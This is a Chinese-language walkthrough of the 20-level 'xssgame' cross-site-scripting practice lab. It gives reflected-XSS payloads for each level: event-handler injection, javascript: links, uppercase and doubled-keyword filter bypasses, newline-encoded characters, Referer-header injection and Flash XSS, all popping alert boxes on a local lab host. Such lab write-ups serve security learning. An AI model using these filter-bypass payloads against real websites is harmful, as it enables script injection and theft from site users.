zoukankan      html  css  js  c++  java
  • xssgame20关

    流程

    输入信息

    查看在哪里输出,  构造闭合方式

    <script>alert(1)</script>

    ''onmouseover='alert(1)'>

     

    ' onclick=javascript:alert(1) '

    ' onclick=javascript:alert(1)//

    ' oninput=alert(1) //

     

    <script>alert(123456)</script>

    " oninput=alert(1) //

    "><a href="javascript:alert('a')">1</a >//">

    "><iframe src="javascript:alert('iframe')" width = "0" height ="0"/>

    大写    " ONinput=alert(1) //

    双重    "><scriscriptpt>alert(123456)</scscriptript>//

     

     

    第一关

    没有对输入结果的过滤

     

    第二关

     

     

     

     

      <input name=keyword  value="  ">

     <input name=keyword  value="  <script>alert(1)</script>  ">

    <input name=keyword  value="   "><script>alert(1)</script> ">

    输入   "><script>alert(1)</script>

     

     

     

     

     

     

    第二种闭合方式

    <input name=keyword  value="  " onmouseover="alert(1)"  ">

    " onmouseover="alert(1)"

    鼠标滑动的时候   弹窗显示

     

     

     

    第三关

     

     

     

     

    由于输出在input标签,因此尝试闭合标签,通过事件触发弹窗

    构造 <input name=keyword value=''onmouseover='alert(1)'>

     

    ' onclick=javascript:alert(1) '

    ' onclick=javascript:alert(1)//

    ' oninput=alert(1) //

     

     

     

     第四关

     

     

     发现两处输出处理方法不一样,尝试用事件构造闭合标签的payload

    “ onclick=javascript:alert(1)//成功弹窗。

    第五关

    输入<script>alert(123456)</script>和" oninput=alert(1) //

    从返回结果看,在闭合标签位置,被替代加了下划线

    例如oninput==o_ninput,<script>==<scr_ipt>应该是程序对xss敏感的<script>和事件关键词做了过滤处理。

     

     

    这里只能尝试不使用<script>和标签时间on**之类,

     

    这里尝试利用<a>标签,

     

     

     

     

    <input name=keyword  value=""><a href="javascript:alert('a')">1</a >//">

     

     

    构造payload如下"><a href="javascript:alert('a')">1</a >//点击链接1,触发弹窗

     

     

     

     第六关

    发现与第五关非常类似,但是不光替换了<script>,on...事件,herf,src也被替换了。

    将关键词变换为大写,弹窗了," ONinput=alert(1) //

    第七关

    尝试用大写绕过,不成功,那就构造双重"><scriscriptpt>alert(123456)</scscriptript>//成功弹窗

      第八关

     

     

     

     

    这里尝试构造特殊的字符处理,就是在关键词中添加特殊的制表符,例如%0A,%09,可绕过检查。

    %0A,换行制表符

    %09 , tab制表符

    例如构造payload

    Javascri%0Apt:alert(1)

    javascri%0Apt:Alert(1)

    特别注意:payload在搜索框中输入时,会被浏览器进行编码,从而导致不能执行,payload需要在url直接输入

     

    第九关

     

    构造参数必须包含http://,同时敏感字符被做了替代,需要做变换,

    采用与第8关类似的思路,构造如下payload:与第8关一样,payload需要在url中构造,防止浏览器的编码。

    http://aaaJavas%0acript:alert(1)能从结果中看到已经被写入到了a标签内,但是没法执行,

    因此需要变换格式为javascript:alert(1)//http://aaa.com成功执行弹窗

     

     

     

    第十关:

    发现隐藏表单

     

     

     

     

     

     

     

     

    第11关

     

     

     

     

     

    第11关

    第十一关在笔者第一次操作的时候,按照10关做法,brup抓包,修改t_link的隐藏表单,也可以实现弹窗,

    但看了下源码本关的设计目标并非于此

    本关设计目的是在从第十关跳过来后,直接观察11关的源文件,从源文件可以看出,在t_ref的hidden表单内,value赋值了,

    这个值就是来源于第十关到第十一关的请求。如图所示:本图为10-11关的请求,看到了referer字段。

     

     refer处payload         "  type="text"  oninput= "alert(1)"   

     

     

    第12关

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     13关

     

     

     

     

    16关

     本关过略了script,空格,以及/输出位置为center中间,

    因此payload构造需要避免这些出现空格可以用%0d,%0a代替

    <img%0Dsrc="1"%0Donerror=alert(1)>

    <img%0asrc=1%0aonerror=alert(1)>

    <iframe%0asrc=x%0donmouseover=alert`1`></iframe>

     

     

     

     

     

    第十七关:

    尝试更改参数,,观察输出位置

     

     

     

     

     

     

    构造payload,直接构造onmouseover=alert(1),附加在b参数后面

    http://192.168.58.129/xssgame/level17.php?arg01=a&arg02=bsss%20onmouseover=alert(1)

     

     

     

     

    第十八关

    尝试更改参数,观察输出位置跟17关没有区别,

    也是同样位置构造同样的payload,可以弹窗onmouseover=alert(1),附加在b参数后面

     

    第19关

    http://192.168.58.129/xssgame/level19.php?arg01=a&arg02=b

    观察输出位置,与18关非常类似,只是在src="xsf03.swf?a=b"中加入了双引号。

    因此尝试构造payload中,需要闭合双引号。

    尝试payload"onmouseover=alert(1)在arg02=b后面尝试加入"onmouseover=alert(1)从返回结果的源文件中可以看出,

    双引号被html编码了因此,构造payload需要考虑如何闭合双引号的问题,突破不了,本关因为页面为flash,

    因此本关考虑flash的xss,对于flash的XSS,需要对flash进行反编译(需要下载flash反编译软件),并研究flash代码。找到传参的函数以及参数如何传递,并基于上下文语法构造payload。

    这里对于flash的代码不做详细的解释,给出如下payload可弹窗

    level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a>点击蓝色123,可直接弹窗。

     

    第二十关:同样为flashxss,这里不在做详细分析,

    paylaod如下http://192.168.58.129/xssgame/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

     

     

     

  • 相关阅读:
    OpenDaylight二层转发机制实验
    OpenvSwitch的GRE、Vxlan隧道
    Open vSwitch实验
    实验五 RYU控制器基本应用
    实验四 POX控制器编程实验指导
    实验二 OpenFlow应用实践
    SDN实验三 OpenFlow协议分析
    SDN实验一:mininet应用实践
    序列幂次求和的快速计算
    luogu P1409 骰子 题解
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12938499.html
Copyright © 2011-2022 走看看